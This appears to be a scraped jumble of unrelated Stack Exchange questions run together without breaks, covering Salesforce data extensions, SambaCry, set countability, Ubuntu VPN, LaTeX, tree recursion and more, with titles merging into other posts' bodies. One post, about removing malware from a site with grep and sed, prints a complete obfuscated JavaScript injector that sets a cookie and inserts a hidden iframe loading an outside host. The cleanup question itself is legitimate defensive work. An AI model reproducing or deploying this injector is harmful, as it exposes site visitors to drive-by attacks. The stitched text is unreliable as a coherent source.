This may seem silly !. But honestly I have faced this many times during our custom implementation but still unable to find a solution.  Is there a feature either on SFMC UI or using custom API, if we could re-arrange the fields which are already existing in the Data Extension.  To be more clear I just want to bring email_address field as the first field in my DataExtension.   Note:   I am aware that we can clear the records and delete the fields and re-create fields as per our requirement; which would re-arrange the fields. But I want to achieve this without clearing the records.
Is there a way to reorganize the fields/attributes in a data extension?  I've added some extra fields that relate to other fields in that extension.   I haven't found a way to regroup those fields.
Beamer Tikz-cd Problem Is my Ubuntu vulnerable to SambaCry? I read these two threads:         And I got a little bit worried, is my Ubuntu machine safe? Or am I vulnerable to this vulnerability?  The second article mentioned that:     The flaw actually resided in the way Samba handled shared libraries.   The other thing that they say is all versions from versions 3.5.0 onwards since 2010 are vulnerable.     At that time, nearly 485,000 Samba-enabled computers were found to be exposed on the Internet, and researchers predicted that the SambaCry-based attacks also have potential to spread just like WannaCry ransomware widely.   .   I don't have a samba server however I've got samba-libs package installed.  What, if anything, should I do?  I'm running Ubuntu 16.04. The cartesian product $\mathbb{N} \times \mathbb{N}$ is countable I'm examining a proof I have read that claims to show that the Cartesian product $\mathbb{N} \times \mathbb{N}$ is countable, and as part of this proof, I am looking to show that the given map is surjective (indeed bijective), but I'm afraid that I can't see why this is the case. I wonder whether you might be able to point me in the right direction?  Indeed, the proof begins like this:  "For each $n \in \mathbb{N}$, let $k_n, l_n$ be such that $n = 2^{k_n - 1} \left(2l_n - 1 \right)$; that is, $k_n - 1$ is the power of $2$ in the prime factorisation of $n$, and $2 l_n - 1$ is the (necessarily odd) number $\frac{n}{2^{k_n - 1}}$."  It then states that $n \mapsto \left(k_n , l_n \right)$ is a surjection from $\mathbb{N}$ to $\mathbb{N} \times \mathbb{N}$, and so ends the proof.  I can intuitively see why this should be a bijection, I think, but I'm not sure how to make these feelings rigorous?   I suppose I'd say that the map is surjective since given any $\left(k_n , l_n \right) \in \mathbb{N} \times \mathbb{N}$ we can simply take $n$ indeed to be equal to $2^{k_n - 1} \left(2l_n - 1 \right)$ and note that $k_n - 1 \geq 0$ and thus $2^{k_n - 1}$  is both greater or equal to one so is a natural number (making the obvious inductive argument, noting that multiplication on $\mathbb{N}$ is closed), and similarly that $2 l_n - 1 \geq 2\cdot 1 - 1 = 1$ and is also a natural number, and thus the product of these two, $n$ must also be a natural number. Is it just as simple as this?  I suppose my gut feeling in the proving that the map is injective would be to assume that $2^{k_n - 1} \left(2 l_n - 1 \right) = 2^{k_m - 1} \left(2 l_m - 1 \right)$ and then use the Fundamental Theorem of Arithmetic to conclude that $n = m$. Is this going along the right lines? The 'implicit' definition of the mapping has me a little confused about the approach.    On a related, but separate note, I am indeed aware that if $K$ and $L$ are any countable sets, then so is $K \times L$, so trivially, taking the identity mapping we see trivially that this map is bijective and therefore that $\mathbb{N}$ is certainly countable (!), and thus so is $\mathbb{N} \times \mathbb{N}$. Hence, it's not really the statement that I'm interested in, but rather the exciting excursion into number theory that the above alternative proof provides. Any javascript event occurring when user clicks Stop load button? Automatically turn on VPN on computer unlock Ubuntu 18.04 When I wake the laptop from the sleep I need to get the VPN state as I left it (turned on). Can't find the setting of autoconnect in VPN settings... Need some easy way to ask the system to autoconnect the VPN when the internet is available.  Edit based on comments:  Ubuntu 18.04 has no option to Always connect to VPN when using using this connection. 9-speed system to 11-speed drivetrain upgrade? Prove that $T$ has a cyclic vector iff its minimal and characteristic polynomials are the same PostgreSQL Shapefile import failed I am very new to PostGIS/PostgreSQL. In fact, I downloaded it because of the answers I got to this question:   I installed both PostgreSQL and PostGIS. But I am not able to import a shapefile to the database? It gives an error, "Shapefile import failed". What am I doing wrong? Sometimes it is convenient to refer to a group of equations by a letter and a number.  For example:   2+1   (A1) 2+4   (A2) x^4   (B3) x^e   (B4)   Placing  \tag{A\theequation}\label{eqn:thisone}\stepcounter{equation}} instead of just \label{eqn:thisone} works, but seems hacky (especially manually stepping the counter).   Is there a better way? What are the differences between Holmes, Moldvay, and Mentzer D&D? First of all, I swear this is not homework, it's a question I was asked in an interview. I think I made a mess of it (though I did realise the solution requires recursion). Here is the question:  Implement the count() method which returns the number of nodes in a tree. If a node doesn't have either a left or right child, the relevant getXXChild() method will return null  class Tree {    Tree getRightChild() {     // Assume this is already implemented   }    Tree getLeftChild() {     // Assume this is already implemented   }    int count() {     // Implement me   } }   My reason for asking the question is simply curious to see the correct solution, and thereby measure how bad mine was.  Cheers, Tony Blender for Chromebook How would I be able to run Blender on a Chromebook? The Rollapp is a farce that demands money for free software, and the whole reason I didn't buy a windows laptop is because I hate Windows 10, so is there another option? Lines too long due to text inside custom command not being hyphenated I'm having some problems with lines that turn out to be too long. There are correct hyphenation rules for the word but they aren't being applied.  Let me first give the sentence that is too long:  An isomorphism that maps a graph to itself is called an \concept{automorphism}.   The command concept is defined as follows  \newcommand{\concept}[1]{\index{#1}\marginpar{\raggedright\textbf{#1}}\textbf{#1}}   The problem seems to be that words inside \concept aren't being hyphenated. How can I fix this? If I type   An isomorphism that maps a graph to itself is called an \textbf{automorphism}.   then the word is hyphenated perfectly. So I would now like to have the command \concept behave the same way, i.e. allow concepts to be hyphenated according to the standard rules. If 20 independent Bernoulli trials are carried out each with a different probability of success and therefore failure. What is the probability that exactly n of the 20 trials was successful?  Is there a better way of calculating these probabilities rather than simply summing together the combinations of success and failure probabilities? So I'm in Linux and I want to have a program accept arguments when you execute it from the command line.  For example,   ./myprogram 42 -b -s  So then the program would store that number 42 as an int and execute certain parts of code depending on what arguments it gets like -b or -s. I'm trying to remove malware code from a site using a script, I'm having trouble getting the regex right for the malware part.  What I want to do eventually is to use sed in order to find the malicious code and replace it. In my first attempt I tried to do something like this:  #fgrep -rl --exclude='*.sh' $SEARCH . | xargs sed -i 's/$SEARCH/$REPLACE/g'   Where SEARCH is:  SEARCH='/*236499a9e0b11c0dc3eecf5cf751a097*/ var _0xf19b=["\x6F\x6E\x6C\x6F\x61\x64","\x67\x65\x74\x44\x61\x74\x65","\x73\x65\x74\x44\x61\x74\x65","\x63\x6F\x6F\x6B\x69\x65","\x3D","\x3B\x20\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","","\x3D\x28 \x5B\x5E\x3B\x5D\x29\x7B\x31\x2C\x7D","\x65\x78\x65\x63","\x73\x70\x6C\x69\x74","\x61\x64\x2D\x63\x6F\x6F\x6B\x69\x65","\x65\x72\x32\x76\x64\x72\x35\x67\x64\x63\x33\x64\x73","\x64\x69\x76","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E \x74","\x68\x74\x74\x70\x3A\x2F\x2F\x73\x74\x61\x74\x69\x63\x2E\x73\x75\x63\x68\x6B\x61\x34\x36\x2E\x70\x77\x2F\x3F\x69\x64\x3D\x36\x39\x34\x37\x36\x32\x37\x26\x6B\x65\x79\x77\x6F\x72\x64\x3D","\x26\x61\x64\x5F\x69\x64\x3D\x58\x6E\x35\x62 \x65\x34","\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x3C\x64\x69\x76\x20\x73\x74\x79\x6C\x65\x3D\x27\x70\x6F\x73\x69\x74\x69\x6F\x6E\x3A\x61\x62\x73\x6F\x6C\x75\x74\x65\x3B\x7A\x2D\x69\x6E\x64\x65\x78\x3A\x31\x30\x30\x30\x3B\x74\x6F\x70\x3A \x2D\x31\x30\x30\x30\x70\x78\x3B\x6C\x65\x66\x74\x3A\x2D\x39\x39\x39\x39\x70\x78\x3B\x27\x3E\x3C\x69\x66\x72\x61\x6D\x65\x20\x73\x72\x63\x3D\x27","\x27\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E\x3C\x2F\x64\x69\x76\x3E","\x61\x70\x70\x65\x6E \x64\x43\x68\x69\x6C\x64","\x62\x6F\x64\x79"];window[_0xf19b[0]]=function(){function _0x10b1x1(_0x10b1x2,_0x10b1x3,_0x10b1x4){if(_0x10b1x4){var _0x10b1x5= new Date();_0x10b1x5[_0xf19b[2]](_0x10b1x5[_0xf19b[1]]()+_0x10b1x4);};if(_0x10b1x2&amp; &amp;_0x10b1x3){document[_0xf19b[3]]=_0x10b1x2+_0xf19b[4]+_0x10b1x3+(_0x10b1x4?_0xf19b[5]+_0x10b1x5[_0xf19b[6]]():_0xf19b[7])}else {return false};}function _0x10b1x6(_0x10b1x2){var _0x10b1x3= new RegExp(_0x10b1x2+_0xf19b[8]);var _0x10b1x4=_0x 10b1x3[_0xf19b[9]](document[_0xf19b[3]]);if(_0x10b1x4){_0x10b1x4=_0x10b1x4[0][_0xf19b[10]](_0xf19b[4])}else {return false};return _0x10b1x4[1]?_0x10b1x4[1]:false;}var _0x10b1x7=_0x10b1x6(_0xf19b[11]);if(_0x10b1x7!=_0xf19b[12]){_0x10b1x1(_ 0xf19b[11],_0xf19b[12],1);var _0x10b1x8=document[_0xf19b[14]](_0xf19b[13]);var _0x10b1x9=1380;var _0x10b1xa=_0xf19b[15]+_0x10b1x9+_0xf19b[16];_0x10b1x8[_0xf19b[17]]=_0xf19b[18]+_0x10b1xa+_0xf19b[19];document[_0xf19b[21]][_0xf19b[20]](_0x1 0b1x8);};}; /*236499a9e0b11c0dc3eecf5cf751a097*/'   and REPLACE:  REPLACE=''   I could not get the sed part to work, the grep works.  So now I'm thinking I could use regular expressions to accomplish this, So I don't have to use the whole string.  Here's the other code:  INFECTED='\/\*236499a9e0b11c0dc3eecf5cf751a097\*\/.*\/\*236499a9e0b11c0dc3eecf5cf751a097\*\/'  grep -rl --exclude='*.sh' $INFECTED .   This doesn't do anything.  This one does:  INFECTED='\/\*236499a9e0b11c0dc3eecf5cf751a097\*\/.*'  grep -rl --exclude='*.sh' $INFECTED .   And this one too:  INFECTED='.*\/\*236499a9e0b11c0dc3eecf5cf751a097\*\/'  grep -rl --exclude='*.sh' $INFECTED .   I'm hoping to get the regex right in grep, and then apply it in sed. Any ideas on how accomplish the goal better ? Or what is wrong with this code ?  Thanks =) Drafts for edits get lost on leaving the Android app When editing in the Stack Exchange Android app and navigating away to get some reference URLs the text is gone when I go back into the app.  Seems like the edit isn't kept in memory. Can you please save them in memory? (drafts) If $p$ is congruent to $2 \pmod 3$, how can I prove that all $a$, $1 \le a \le p-1$ are cubic residues $\mod p$?  Here's what I've done:  $1^3$ congruent to $1 \pmod p$ thus, 1 is a cubic residue, Also $(p-1)^3=(p-1) \pmod p$ implies  $$(p-1)^3 - (p-1) = (p-1)[(p-1)^2 -1] = (p-1)(p^2 -2p) = p(p-1)(p-2) $$ implies $$p|(p-1)^3 -(p-1)$$ Thus  $p-1$ is a cubic residue $\mod p$. Now I don't know how to show for $1\lt a \lt p-1$ are all cubic residues when $p$ is congruent to $2\pmod 3$. Counting points in shapefile within polygons of another shapefile using ArcGIS Desktop? I'm creating a map with two shapefiles:   A polygon of counties Points of cities   I used the function Intersect to group the cities in each county.  I'm trying to get the number of cities in each county to show up in the legend.    For example, in county A there are 16 cities, in county B there are 7 cities and so on.  I'm trying to create a choropleth map that shows the number of cities in each county. Prove the divergence of the sequence $\left\{ \sin(n) \right\}_{n=1}^{\infty}$. I am looking for nice ways of proving the divergence of the sequence $\left\{x_n\right\}_{n=1}^{\infty}$ defined by $$x_n=\sin{(n)}.$$ One (not so nice) way is to construct two subsequences: one where the indexes are picked such that they lie in the intervals  $$I_k=\left(\dfrac{\pi}{6}+2\pi(k-1),\dfrac{5\pi}{6}+2\pi(k-1)\right)$$ and one where they lie in $$J_k=\left(\dfrac{7\pi}{6}+2\pi(k-1),\dfrac{11\pi}{6}+2\pi(k-1)\right).$$ If ${x_n}$ converges, then all its subsequences must converge to the same limit, but here the first subsequence has all its values in the interval $\left[ \frac{1}{2}, 1\right]$ while the second has its values in $\left[-1,-\frac{1}{2}\right]$. Contradiction.  Filling the details of this proof is rather tedious and not very elegant. Anyone has a better idea?